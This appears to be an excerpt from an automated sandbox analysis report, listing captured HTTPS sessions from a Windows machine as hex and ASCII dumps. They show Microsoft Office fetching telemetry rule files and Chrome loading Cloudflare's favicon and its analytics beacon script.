2024-10-16 15:56:49 UTC	1369	IN	Data Raw: fd 9e 30 fe 9d 32 fd 9d 32 fd 9d 31 fe 9c 33 fd 9d 30 fe 9c 32 fd 9c 32 fd 9c 31 fe 9b 33 fd 9c 30 fe 9b 32 fd 9b 32 fd 9b 31 fe 9a 33 fd 9b 30 fe 9a 32 fd 9a 32 fd 9a 31 fd 9a 30 fe 99 32 fd 99 32 fd 99 31 fd 99 30 fe 98 32 fd 98 32 fd 98 31 fd 98 30 fd 97 32 fd 97 31 fd 97 30 fd 96 31 fd 95 31 fd 94 31 fd 93 31 8f 7d 53 d0 00 00 00 1f 74 52 4e 53 ff 00 10 10 10 20 20 20 40 40 40 8f 8f 8f 90 90 90 9f 9f 9f a0 cf cf cf cf cf cf df df df df 8b e4 c3 90 00 00 09 40 49 44 41 54 78 da ec da bd 8e 13 31 14 05 e0 73 67 3c c9 64 d8 02 84 90 78 28 1a 2a 0a 3a 0a 5e 80 8a 0e 89 9a 92 1a 89 12 81 28 88 b4 42 14 5b f0 3c 74 30 3f b1 37 8b 34 1a 69 52 64 d7 d6 5e 3b c7 23 e5 d6 76 e2 8c bf 1c ff 24 22 00 ea e2 d1 33 a8 6b 8d a5 54 03 7f f1 3f f0 70 db 1b 0c 00 80 d6 Data Ascii: 02213022130221302210221022102101111}StRNS @@@@IDATx1sg<dx(*:^(B[<t0?74iRd^;#v$"3kT?p
2024-10-16 15:56:49 UTC	1175	IN	Data Raw: 0d ea 7c 82 d0 93 52 9c 7f b8 cd 9f 9a 21 6e 76 a7 35 5c 23 7c b5 51 65 91 b0 06 21 53 f7 9a 73 6e 35 f3 5c ad e6 1a 2e f9 6a 63 1d 4a 32 e4 60 42 79 7c 42 f7 50 d4 80 ae d1 f2 a8 23 aa c6 60 26 07 d3 ab fd be 9a 1e ca dc 6a 6a 78 4a 47 54 dd 0f 96 e5 20 9e 28 ea 43 69 f3 b9 16 a1 a5 01 15 3a 58 25 cc d0 8b e7 5a 0d f5 11 7f f2 3b 4d 2d 20 2d 34 a8 b4 20 44 95 74 5a 97 ff 6e 02 37 df 6a 64 4c cd f4 eb d5 02 5c 02 34 35 08 cb 0f c2 38 3d 04 7b cd 6c 12 86 68 90 c7 84 cc 14 84 05 38 98 5b c2 f4 da 9e 59 53 d3 33 01 77 b8 63 d3 bc d9 69 5d 1d 4a 32 2b 18 62 03 35 f3 7d f2 35 88 b4 d0 d4 5e 5c 54 0c a6 4b 98 92 9a 9e 19 70 8c 3d 1b da da 8b cf 3f 08 27 15 2f 58 b2 18 d4 87 b7 e8 55 0d 20 cf 46 a6 4b 58 83 f0 8d 87 92 38 36 a9 76 01 cb ce fe 07 ff 38 87 7b 35 Data Ascii: \|R!nv5\#\|Qe!Ssn5\.jcJ2`By\|BP#`&jjxJGT (Ci:X%Z;M- -4 DtZn7jdL\458={lh8[YS3wci]J2+b5}5^\TKp=?'/XU FKX86v8{5

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:49 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:49 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:49 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 038cab76-201e-00aa-04d8-1e3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155649Z-15b8d89586fvk4kme36hucfwyc00000001e00000000019u1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:49 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	49859	104.16.124.96	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:49 UTC	823	OUT	GET /favicon.ico HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
2024-10-16 15:56:49 UTC	952	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:49 GMT Content-Type: image/vnd.microsoft.icon Transfer-Encoding: chunked Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: W/"ffb25f3edc5c56acfdf7e7cdffcb217c" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vwxgm3PmNxrqafGFz7K6IMyowVY0VQ6nMhSklUMIaya9IB2nzJeIRXWWH5dq2Wl4aKKWZ3TbPACwJd3tinhLI3nIAnQoCcRSwQ3LLpJylW2j9xk0P7%2FftERtbaKSbeDDVShCDg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d393dbaac70e7b7-DFW alt-svc: h3=":443"; ma=86400
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 39 62 35 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 60 00 00 00 60 08 06 00 00 00 e2 98 77 38 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 09 67 49 44 41 54 78 5e ed 9c 0d b0 54 55 1d c0 cf b9 5f fb fd 7c 5f fb f0 21 8f 8f 92 04 b3 52 9f cc 18 90 28 53 d6 a4 98 cd 40 84 f6 01 8a 41 08 53 69 8d 59 7e 94 d9 c8 a7 90 23 98 33 45 c1 34 a0 39 45 4a d9 d0 68 81 02 35 bd 1a 13 1a 34 23 44 94 07 cb 7b 6f df be dd bd bb 7b bf ce bf ff b9 8f 47 4f e2 c1 dd bd bb fb f6 c9 d9 99 c3 79 bb f7 ff f9 fb 9f 7b f7 9e b3 e7 42 88 78 09 02 82 80 20 20 08 08 02 82 80 20 20 08 08 02 82 80 20 20 08 08 02 82 80 20 20 08 08 02 82 80 20 20 08 08 02 82 80 20 20 08 08 02 82 80 20 20 08 08 02 82 80 20 20 08 08 02 82 80 20 20 08 08 02 ef 25 Data Ascii: 9b5PNGIHDR``w8pHYs+gIDATx^TU_\|_!R(S@ASiY~#3E49EJh54#D{o{GOy{Bx %
2024-10-16 15:56:49 UTC	1123	IN	Data Raw: 77 fc fc 81 2f e3 66 8c e6 b6 05 a7 c3 e7 a0 d4 fa a6 ad be e1 73 03 46 6f b8 21 26 af 1f f2 0c 48 af 68 8f 2a 01 f5 1f 2c 75 ec fd 65 71 38 42 8c 48 0d 63 0e d2 60 70 56 68 d1 8b 67 9c cd c2 ce 45 8a ad 27 13 2c d7 ed ff 0e 50 d2 88 15 1b 3f 2a 7a fd 93 27 de 75 06 64 56 b5 d7 c9 94 1d 3a 6f e0 e3 a6 5d 75 f4 e4 c3 81 b6 4b 6e 08 7f 6d cf c4 a1 e0 f3 31 44 af 7d d2 56 ea db da b4 96 4b f7 12 dc c8 e5 eb c5 4c 12 09 b0 35 ae dd c1 86 f4 47 db 0f 40 ba 7b b2 2f e3 43 28 d3 f8 44 47 d6 c2 19 90 35 85 48 8a 84 bf 07 50 ec 79 c3 a5 15 ec 29 8e 05 49 06 6c 0c f7 97 33 22 61 c3 29 0d 06 88 0d 72 84 82 81 7d 9e 00 e1 b3 51 9b 52 52 e0 27 34 1e 37 b1 77 1b 05 30 70 7b 7a 9e 30 07 1b cb 13 db c9 11 c7 29 60 e3 9f e1 d2 00 a0 1c 58 04 58 ce 71 ec a3 39 cb dc 57 b7 Data Ascii: w/fsFo!&Hh,ueq8BHc`pVhgE',P?z'udV:o]uKnm1D}VKL5G@{/C(DG5HPy)Il3"a)r}QRR'47w0p{z0)`XXq9W
2024-10-16 15:56:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	49860	104.16.80.73	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:49 UTC	413	OUT	GET /beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015 HTTP/1.1 Host: static.cloudflareinsights.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-16 15:56:49 UTC	373	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:49 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 19948 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=86400 ETag: W/"2024.6.1" Last-Modified: Thu, 06 Jun 2024 15:52:56 GMT Cross-Origin-Resource-Policy: cross-origin Server: cloudflare CF-RAY: 8d393dbac897d5db-DFW
2024-10-16 15:56:49 UTC	996	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 33 34 33 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6e 3d 30 3b 6e 3c 32 35 36 3b 2b 2b 6e 29 74 5b 6e 5d 3d 28 6e 2b 32 35 36 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 2e 73 75 62 73 74 72 28 31 29 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 76 61 72 20 72 3d 6e 7c 7c 30 2c 69 3d 74 3b 72 65 74 75 72 6e 5b 69 5b 65 5b 72 2b 2b 5d 5d 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 22 2d 22 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 22 2d 22 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 69 5b 65 5b 72 2b 2b 5d 5d 2c 22 2d 22 2c 69 5b 65 5b 72 2b Data Ascii: !function(){var e={343:function(e){"use strict";for(var t=[],n=0;n<256;++n)t[n]=(n+256).toString(16).substr(1);e.exports=function(e,n){var r=n\|\|0,i=t;return[i[e[r++]],i[e[r++]],i[e[r++]],i[e[r++]],"-",i[e[r++]],i[e[r++]],"-",i[e[r++]],i[e[r++]],"-",i[e[r+
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 3b 69 66 28 61 5b 36 5d 3d 31 35 26 61 5b 36 5d 7c 36 34 2c 61 5b 38 5d 3d 36 33 26 61 5b 38 5d 7c 31 32 38 2c 74 29 66 6f 72 28 76 61 72 20 63 3d 30 3b 63 3c 31 36 3b 2b 2b 63 29 74 5b 6f 2b 63 5d 3d 61 5b 63 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 69 28 61 29 7d 7d 2c 31 36 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 74 68 69 73 26 26 74 68 69 73 2e 5f 5f 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 3d 31 2c 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 Data Ascii: ;if(a[6]=15&a[6]\|64,a[8]=63&a[8]\|128,t)for(var c=0;c<16;++c)t[o+c]=a[c];return t\|\|i(a)}},168:function(e,t,n){"use strict";var r=this&&this.__assign\|\|function(){return r=Object.assign\|\|function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var i in t=arg
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 72 63 68 50 61 72 61 6d 73 29 7b 76 61 72 20 79 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 28 67 2e 72 65 70 6c 61 63 65 28 2f 5e 5b 5e 5c 3f 5d 2b 5c 3f 3f 2f 2c 22 22 29 29 2c 68 3d 79 2e 67 65 74 28 22 74 6f 6b 65 6e 22 29 3b 68 26 26 28 70 2e 74 6f 6b 65 6e 3d 68 29 3b 76 61 72 20 54 3d 79 2e 67 65 74 28 22 73 70 61 22 29 3b 70 2e 73 70 61 3d 6e 75 6c 6c 3d 3d 3d 54 7c 7c 22 74 72 75 65 22 3d 3d 3d 54 7d 7d 70 26 26 22 6d 75 6c 74 69 22 21 3d 3d 70 2e 6c 6f 61 64 26 26 28 70 2e 6c 6f 61 64 3d 22 73 69 6e 67 6c 65 22 29 2c 77 69 6e 64 6f 77 2e 5f 5f 63 66 42 65 61 63 6f 6e 3d 70 7d 69 66 28 73 26 26 70 26 26 70 2e 74 6f 6b 65 6e 29 7b 76 61 72 20 77 2c 53 2c 62 3d 21 31 3b 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 Data Ascii: rchParams){var y=new URLSearchParams(g.replace(/^[^\?]+\??/,"")),h=y.get("token");h&&(p.token=h);var T=y.get("spa");p.spa=null===T\|\|"true"===T}}p&&"multi"!==p.load&&(p.load="single"),window.__cfBeacon=p}if(s&&p&&p.token){var w,S,b=!1;document.addEventList
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 2e 74 69 6d 69 6e 67 73 56 32 3d 7b 7d 2c 64 2e 76 65 72 73 69 6f 6e 73 2e 74 69 6d 69 6e 67 73 3d 32 2c 64 2e 64 74 3d 6d 5b 30 5d 2e 64 65 6c 69 76 65 72 79 54 79 70 65 2c 64 65 6c 65 74 65 20 64 2e 74 69 6d 69 6e 67 73 2c 74 28 6d 5b 30 5d 2c 64 2e 74 69 6d 69 6e 67 73 56 32 29 29 7d 31 3d 3d 3d 64 2e 76 65 72 73 69 6f 6e 73 2e 74 69 6d 69 6e 67 73 26 26 74 28 63 2c 64 2e 74 69 6d 69 6e 67 73 29 2c 74 28 75 2c 64 2e 6d 65 6d 6f 72 79 29 7d 65 6c 73 65 20 4f 28 64 29 3b 72 65 74 75 72 6e 20 64 2e 66 69 72 73 74 50 61 69 6e 74 3d 6b 28 22 66 69 72 73 74 2d 70 61 69 6e 74 22 29 2c 64 2e 66 69 72 73 74 43 6f 6e 74 65 6e 74 66 75 6c 50 61 69 6e 74 3d 6b 28 22 66 69 72 73 74 2d 63 6f 6e 74 65 6e 74 66 75 6c 2d 70 61 69 6e 74 22 29 2c 70 26 26 28 70 2e 69 63 Data Ascii: .timingsV2={},d.versions.timings=2,d.dt=m[0].deliveryType,delete d.timings,t(m[0],d.timingsV2))}1===d.versions.timings&&t(c,d.timings),t(u,d.memory)}else O(d);return d.firstPaint=k("first-paint"),d.firstContentfulPaint=k("first-contentful-paint"),p&&(p.ic
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 65 72 65 64 3a 21 30 7d 7d 3b 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 3f 52 28 29 3a 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 73 65 74 54 69 6d 65 6f 75 74 28 52 29 7d 29 29 3b 76 61 72 20 41 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4c 26 26 30 3d 3d 3d 76 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 69 64 3d 3d 3d 6c 7d 29 29 2e 6c 65 6e 67 74 68 7d 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 2e 70 75 73 68 28 7b 69 64 3a 6c 2c 75 72 6c 3a 65 2c 74 73 3a 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 Data Ascii: ered:!0}};"complete"===window.document.readyState?R():window.addEventListener("load",(function(){window.setTimeout(R)}));var A=function(){return L&&0===v.filter((function(e){return e.id===l})).length},_=function(e){v.push({id:l,url:e,ts:(new Date).getTime
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 72 63 65 4c 6f 61 64 54 69 6d 65 2c 45 2e 6c 63 70 2e 65 72 64 3d 63 2e 65 6c 65 6d 65 6e 74 52 65 6e 64 65 72 44 65 6c 61 79 2c 45 2e 6c 63 70 2e 69 74 3d 6e 75 6c 6c 3d 3d 3d 28 69 3d 63 2e 6c 63 70 52 65 73 6f 75 72 63 65 45 6e 74 72 79 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 69 3f 76 6f 69 64 20 30 3a 69 2e 69 6e 69 74 69 61 74 6f 72 54 79 70 65 2c 45 2e 6c 63 70 2e 66 70 3d 6e 75 6c 6c 3d 3d 3d 28 61 3d 6e 75 6c 6c 3d 3d 3d 28 6f 3d 63 2e 6c 63 70 45 6e 74 72 79 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6f 3f 76 6f 69 64 20 30 3a 6f 2e 65 6c 65 6d 65 6e 74 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 61 3f 76 6f 69 64 20 30 3a 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 66 65 74 63 68 70 72 69 6f 72 69 74 79 22 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 49 4e 50 22 Data Ascii: rceLoadTime,E.lcp.erd=c.elementRenderDelay,E.lcp.it=null===(i=c.lcpResourceEntry)\|\|void 0===i?void 0:i.initiatorType,E.lcp.fp=null===(a=null===(o=c.lcpEntry)\|\|void 0===o?void 0:o.element)\|\|void 0===a?void 0:a.getAttribute("fetchpriority"));break;case"INP"
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 64 65 64 42 6f 64 79 53 69 7a 65 26 26 28 72 2e 64 65 63 6f 64 65 64 42 6f 64 79 53 69 7a 65 3d 6e 5b 30 5d 2e 64 65 63 6f 64 65 64 42 6f 64 79 53 69 7a 65 29 2c 65 2e 64 74 3d 6e 5b 30 5d 2e 64 65 6c 69 76 65 72 79 54 79 70 65 29 2c 74 28 72 2c 65 2e 74 69 6d 69 6e 67 73 56 32 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 65 29 7b 76 61 72 20 74 3b 69 66 28 22 66 69 72 73 74 2d 63 6f 6e 74 65 6e 74 66 75 6c 2d 70 61 69 6e 74 22 3d 3d 3d 65 26 26 45 2e 66 63 70 26 26 45 2e 66 63 70 2e 76 61 6c 75 65 29 72 65 74 75 72 6e 20 45 2e 66 63 70 2e 76 61 6c 75 65 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 73 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 29 7b 76 61 72 20 6e 3d 6e 75 6c 6c 3d 3d 3d 28 74 3d 73 2e 67 65 74 45 6e 74 72 69 Data Ascii: dedBodySize&&(r.decodedBodySize=n[0].decodedBodySize),e.dt=n[0].deliveryType),t(r,e.timingsV2)}}function k(e){var t;if("first-contentful-paint"===e&&E.fcp&&E.fcp.value)return E.fcp.value;if("function"==typeof s.getEntriesByType){var n=null===(t=s.getEntri
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 76 65 6e 74 54 79 70 65 3d 7b 7d 29 29 5b 72 2e 4c 6f 61 64 3d 31 5d 3d 22 4c 6f 61 64 22 2c 72 5b 72 2e 41 64 64 69 74 69 6f 6e 61 6c 3d 32 5d 3d 22 41 64 64 69 74 69 6f 6e 61 6c 22 2c 72 5b 72 2e 57 65 62 56 69 74 61 6c 73 56 32 3d 33 5d 3d 22 57 65 62 56 69 74 61 6c 73 56 32 22 2c 28 6e 3d 74 2e 46 65 74 63 68 50 72 69 6f 72 69 74 79 7c 7c 28 74 2e 46 65 74 63 68 50 72 69 6f 72 69 74 79 3d 7b 7d 29 29 2e 48 69 67 68 3d 22 68 69 67 68 22 2c 6e 2e 4c 6f 77 3d 22 6c 6f 77 22 2c 6e 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 2c 31 30 34 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 2c 6e 2c 72 2c 69 2c 6f 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 77 Data Ascii: ventType={}))[r.Load=1]="Load",r[r.Additional=2]="Additional",r[r.WebVitalsV2=3]="WebVitalsV2",(n=t.FetchPriority\|\|(t.FetchPriority={})).High="high",n.Low="low",n.Auto="auto"},104:function(e,t){!function(e){"use strict";var t,n,r,i,o,a=function(){return w
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 30 3f 72 3d 22 70 72 65 72 65 6e 64 65 72 22 3a 64 6f 63 75 6d 65 6e 74 2e 77 61 73 44 69 73 63 61 72 64 65 64 3f 72 3d 22 72 65 73 74 6f 72 65 22 3a 6e 2e 74 79 70 65 26 26 28 72 3d 6e 2e 74 79 70 65 2e 72 65 70 6c 61 63 65 28 2f 5f 2f 67 2c 22 2d 22 29 29 29 2c 7b 6e 61 6d 65 3a 65 2c 76 61 6c 75 65 3a 76 6f 69 64 20 30 3d 3d 3d 74 3f 2d 31 3a 74 2c 72 61 74 69 6e 67 3a 22 67 6f 6f 64 22 2c 64 65 6c 74 61 3a 30 2c 65 6e 74 72 69 65 73 3a 5b 5d 2c 69 64 3a 22 76 33 2d 22 2e 63 6f 6e 63 61 74 28 44 61 74 65 2e 6e 6f 77 28 29 2c 22 2d 22 29 2e 63 6f 6e 63 61 74 28 4d 61 74 68 2e 66 6c 6f 6f 72 28 38 39 39 39 39 39 39 39 39 39 39 39 39 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 29 2b 31 65 31 32 29 2c 6e 61 76 69 67 61 74 69 6f 6e 54 79 70 65 3a 72 7d 7d 2c Data Ascii: 0?r="prerender":document.wasDiscarded?r="restore":n.type&&(r=n.type.replace(/_/g,"-"))),{name:e,value:void 0===t?-1:t,rating:"good",delta:0,entries:[],id:"v3-".concat(Date.now(),"-").concat(Math.floor(8999999999999*Math.random())+1e12),navigationType:r}},
2024-10-16 15:56:49 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 2c 62 2c 21 30 29 2c 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 70 72 65 72 65 6e 64 65 72 69 6e 67 63 68 61 6e 67 65 22 2c 62 2c 21 30 29 7d 2c 43 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 77 3c 30 26 26 28 77 3d 53 28 29 2c 45 28 29 2c 6c 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 3d 53 28 29 2c 45 28 29 7d 29 2c 30 29 7d 29 29 29 2c 7b 67 65 74 20 66 69 72 73 74 48 69 64 64 65 6e 54 69 6d 65 28 29 7b 72 65 74 75 72 6e 20 77 7d 7d 7d 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 64 6f 63 75 6d 65 6e 74 2e 70 Data Ascii: function(){removeEventListener("visibilitychange",b,!0),removeEventListener("prerenderingchange",b,!0)},C=function(){return w<0&&(w=S(),E(),l((function(){setTimeout((function(){w=S(),E()}),0)}))),{get firstHiddenTime(){return w}}},P=function(e){document.p

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:49 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:49 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:49 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: dd0072de-501e-0064-4cd8-1e1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155649Z-r197bdfb6b49q495mwvq3xv6v000000008ng00000000454q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:49 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 